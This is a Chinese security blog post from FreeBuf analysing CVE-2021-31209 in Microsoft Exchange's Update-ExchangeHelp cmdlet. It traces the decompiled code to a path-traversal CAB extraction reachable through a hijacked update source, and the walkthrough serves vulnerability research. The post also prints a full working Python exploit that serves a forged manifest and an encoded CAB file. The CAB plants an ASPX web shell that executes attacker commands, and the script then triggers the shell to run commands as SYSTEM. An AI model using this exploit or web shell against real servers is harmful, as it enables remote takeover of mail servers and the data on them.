freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CVE-2021-31209 分析学习
2022-05-12 11:09:55
所属地 北京

0x00 背景

这个漏洞是在2020年11月中旬发布的漏洞,编号为CVE-2021-31209,该漏洞需要借助MITM攻击,也就是当管理员在Exchange Management Shell中运行Update-ExchangeHelporUpdate-ExchangeHelp -Force命令时,在内网的攻击者可以利用中间人攻击劫持请求触发远程代码执行。

Update-ExchangeHelp,这条管理命令仅在本地Exchange服务器可用并且是Exchange2013以上。

使用此cmdlet可以在本地计算机上查找、下载和安装Exchange 命令行管理程序的最新可用帮助;此cmdlet 会自动连接到预定义的网站,将本地 Exchange 服务器的版本和安装的语言与更新包中的可用内容进行比较,然后下载并安装更新的 Exchange 命令行管理程序帮助。

具体正常情况下使用如图:

image-20210827112630669

0x01 更新流程

首先,现在已经了解这个命令是用来更新Exchange cmdlet的参考文章的,查阅文档发现此命令会连接预定义的网站,将本地的Exchange服务器版本和安装的语言包与更新包内容进行比较,然后下载并安装更新的Exchange cmdlet帮助文档。其可以直接联网更新,并且可以为其配置连接到内网的更新源,问题就出现在这里。

我们不妨先看看配置内网更新源使Exchange这条命令Update-ExchangeHelp从内部源更新的过程:

  1. 下载ExchangeHelpInfo.xml文件
  2. 下载更新包,在内部 Web 服务器上发布更新包,并自定义ExchangeHelpInfo.xml文件
  3. 在内部 Web 服务器上发布自定义的ExchangeHelpInfo.xml文件。
  4. 修改 Exchange 服务器的注册表以指向自定义的ExchangeHelpInfo.xml文件。
  5. 使用命令更新

ExchangeHelpInfo.xml文件的结构如下

<?xml version="1.0" encoding="utf-8"?>
<ExchangeHelpInfo>
    <HelpVersion>
      <Version>15.01.0225.030-15.01.0225.050</Version>
       <Revision>001</Revision>
      <CulturesUpdated>en</CulturesUpdated>
      <CabinetUrl>https://download.microsoft.com/download/8/7/0/870FC9AB-6D22-4478-BFBF-66CE775BCD18/ExchangePS_Update_En.cab</CabinetUrl>
    </HelpVersion>
</ExchangeHelpInfo>

<Version>:指的是更新包适用的版本范围

<Revision>:Exchange发布更新包的顺序

<CulturesUpdated>:更新包适用的语言

<CabinetUrl>:标示此更新包的位置

所以使用内网自己来更新Exchange cmdlet的帮助文档,只需下载好需要的.cab文件,放到内网Web服务器,然后更改对应的xml文件,并把自定义的ExchangeHelpInfo.xml文件也放在Web服务器

最后对应上述步骤第四步,修改注册表即可自动去定义的地址更新。

0x02 漏洞分析

Microsoft.Exchange.Management.dll中,定义了Microsoft.Exchange.Management.UpdatableHelp.UpdatableExchangeHelpCommand类。

在函数UpdatableExchangeHelpCommand.InternalProcessRecord()中调用了HelpUpdater.UpdateHelp()方法

image-20210831094245713

查看HelpUpdater.UpdateHelp()中会调用HelpDownloader.DownloadManifest(),看名字可以猜测是下载ExchangeHelpInfo.xml这个文件的。

image-20210831095429790

继续进入HelpDownloader.DownloadManifest(),发现其将HelpUpdater.ManifestUrl这一值赋给downloadUrl并调用HelpDownloader.AsyncDownloadFile()下载

image-20210831095657426

继续查看HelpDownloader.AsyncDownloadFile()内,发现就是调用webClient.DownloadFileAsync()方法下载这个URL并存入localFilePath

image-20210831100203811

localFilePath就是HelpUpdater.LocalManifestPath,并不可控。

image-20210831100308052


接着还需要看一下HelpUpdater.ManifestUrl这一值从哪里被设置的。

分析所使用的ManifestUrl,发现其在Microsoft.Exchange.Management.UpdatableHelp.HelpUpdater.LoadConfiguration()中被设置,并且LoadConfiguration()UpdatableExchangeHelpCommand.InternalValidate()调用。

image-20210830174315240

所以直接查看LoadConfiguration()是如何配置ManifestUrl这个值的。

image-20210830174606421

如果不存在注册表SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp,则创建ManifestUrl项并赋值为http://go.microsoft.com/fwlink/p/?LinkId=287244


接着分析完HelpUpdater.UpdateHelp()方法中调用完helpDownloader.DownloadManifest()大致发生的事情后,回到该方法继续查看后面做了什么,毕竟目前来看还有一个.cab文件没有被请求。

image-20210831101608565

首先会在下载完xml问候,调用helpDownloader.SearchManifestForApplicableUpdates(),可以看到参数为CurrentHelpVersionCurrentHelpRevision

此函数会根据xml解析合适的更新包,会判断xml文件中的版本范围,以及更新的补丁号也就是<Revision>对应的值,以及提取<CabinetUrl>中的值。

解析起始版本号、结束版本号、补丁号以及<CulturesUpdated>对应的语言相关代码:

image-20210831102924909

判断版本号以及补丁号代码:

image-20210831102816881

接着判断更新包的语言是否匹配

string[] array = this.EnumerateAffectedCultures(updatableHelpVersionRange.CulturesAffected);

然后就会执行到

helpDownloader.DownloadPackage(updatableHelpVersionRange.CabinetUrl);

调用helpDownloader.DownloadPackage(),其中又会调用HelpDownloader.AsyncDownloadFile()下载cab文件

image-20210831103955690

然后路径存储为:

image-20210831103748771

最后HelpInstaller.ExtractToTemp()方法去提取cab文件

image-20210831104009761

在其中调用Microsoft.Exchange.CabUtility.EmbeddedCabWrapper.ExtractCabFiles()将之前上传到helpUpdater.LocalCabinetPath的文件提取到helpUpdater.LocalCabinetExtractionTargetPath路径

继续跟进这个函数,发现其将cab文件上传的路径、将要提取的目的路径、还有filter变量放入非托管内存

image-20210831104653704

最后调用

num = <Module>.Microsoft.Exchange.CabUtility.EmbeddedCAB.ExtractCab(ptr, ptr2, ptr3, false);

这是一个导出函数,没有检查进入此函数的路径,所以导致了可以将cab提取到任何路径。

到这里其实只是管理员自己可以将此文件更新的时候写入任何目录,并没有什么影响,我们如果可以把注册表内的ManifestUrl项修改为伪造的内网更新源,就可以劫持管理员去更新帮助手册的行为从而达到无需任何身份任意写入目录的效果。

所以这也是一个比较有意思的地方,作者使用ARP去欺骗Exchange服务器连接我们伪造的更新服务器,因为上述提到的注册表的值默认情况下都是要连接http://go.microsoft.com/fwlink/p/?LinkId=287244这个地址。作者使用bettercab去做arp劫持,等待管理员执行Update-ExchangeHelp即可完成攻击。

0x03 漏洞复现

我们这里选择直接更改注册表让其连接我们的伪造服务器来复现此漏洞

image-20210831105737924

然后首先要调整xml文件,使其几个验证的项通过验证

查询本地Exchange版本

image-20210831105831164

修改xml,这类顺带需要修改语言包

文件

然后使用makecab准备放到web上的cab文件

image-20210831110043959

接着使用稍作修改的原始POC,并在Exchange执行命令即可触发RCE

image-20210831110152361

脚本如下:

import sys
import base64
import urllib3
import requests
from threading import Thread
from http.server import HTTPServer, SimpleHTTPRequestHandler
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class CabRequestHandler(SimpleHTTPRequestHandler):
    def log_message(self, format, *args):
        return
    def do_GET(self):
        if self.path.endswith("poc.xml"):
            print("(+) delivering xml file...")
            xml = """<ExchangeHelpInfo>
  <HelpVersions>
    <HelpVersion>
      <Version>15.01.0225.042-15.01.0999.999</Version>
      <Revision>%s</Revision>
      <CulturesUpdated>zh-HanS</CulturesUpdated>
      <CabinetUrl>http://%s:8000/poc.cab</CabinetUrl>
    </HelpVersion>
  </HelpVersions>
</ExchangeHelpInfo>""" % (r, s)
            self.send_response(200)
            self.send_header('Content-Type', 'application/xml')
            self.send_header("Content-Length", len(xml))
            self.end_headers()
            self.wfile.write(str.encode(xml))
        elif self.path.endswith("poc.cab"):
            print("(+) delivering cab file...")
            # created like: makecab /d "CabinetName1=poc.cab" /f files.txt
            # files.txt contains: "poc.aspx" "../../../../../../../inetpub/wwwroot/aspnet_client/poc.aspx"
            # poc.aspx contains: <%=System.Diagnostics.Process.Start("cmd", Request["c"])%>
            # <script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["exec_code"],"unsafe");}</script>
            stage_2  = "TVNDRgAAAAC+AAAAAAAAACwAAAAAAAAAAwEBAAEAAAAPEwAAeAAAAAEAAQA6AAAA"
            stage_2 += "AAAAAAAAZFFsJyAALi4vLi4vLi4vLi4vLi4vLi4vLi4vaW5ldHB1Yi93d3dyb290"
            stage_2 += "L2FzcG5ldF9jbGllbnQvcG9jLmFzcHgARzNy0T4AOgBDS7NRtQ2uLC5JzdVzyUxM"
            stage_2 += "z8svLslMLtYLKMpPTi0u1gsuSSwq0VBKzk1R0lEISi0sTS0uiVZKVorVVLUDAA=="
            p = base64.b64decode(stage_2.encode('utf-8'))
            self.send_response(200)
            self.send_header('Content-Type', 'application/x-cab')
            self.send_header("Content-Length", len(p))
            self.end_headers()
            self.wfile.write(p)
            return

if __name__ == '__main__':
    if len(sys.argv) != 5:
        print("(+) usage: %s <target> <connectback> <revision> <cmd>" % sys.argv[0])
        print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 mspaint" % sys.argv[0])
        print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 \"whoami > c:/poc.txt\"" % sys.argv[0])
        sys.exit(-1)
    t = sys.argv[1]
    s = sys.argv[2]
    port = 8000
    r = sys.argv[3]
    c = sys.argv[4]
    print("(+) server bound to port %d" % port)
    print("(+) targeting: %s using cmd: %s" % (t, c))
    httpd = HTTPServer(('0.0.0.0', int(port)), CabRequestHandler)
    handlerthr = Thread(target=httpd.serve_forever, args=())
    handlerthr.daemon = True
    handlerthr.start()
    p = { "c" : "/c %s" % c }
    try:
        while 1:
            req = requests.get("https://%s/aspnet_client/poc.aspx" % t, params=p, verify=False)
            if req.status_code == 200:
                break
        print("(+) executed %s as SYSTEM!" % c)
    except KeyboardInterrupt:
        pass

0x04 总结

这是一个非常简单的漏洞,思路比较有趣,所以拿来了解学习一遍。上次听说ARP攻击还是一几年左右大家都在搞C段用Cain去改别人主页。整个的流程比较有趣,算是也给大家提供了一个新的挖掘思路。

参考

https://srcincite.io/blog/2021/08/25/pwn2own-vancouver-2021-microsoft-exchange-server-remote-code-execution.html

https://docs.microsoft.com/en-us/powershell/module/exchange/update-exchangehelp

# 漏洞分析 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录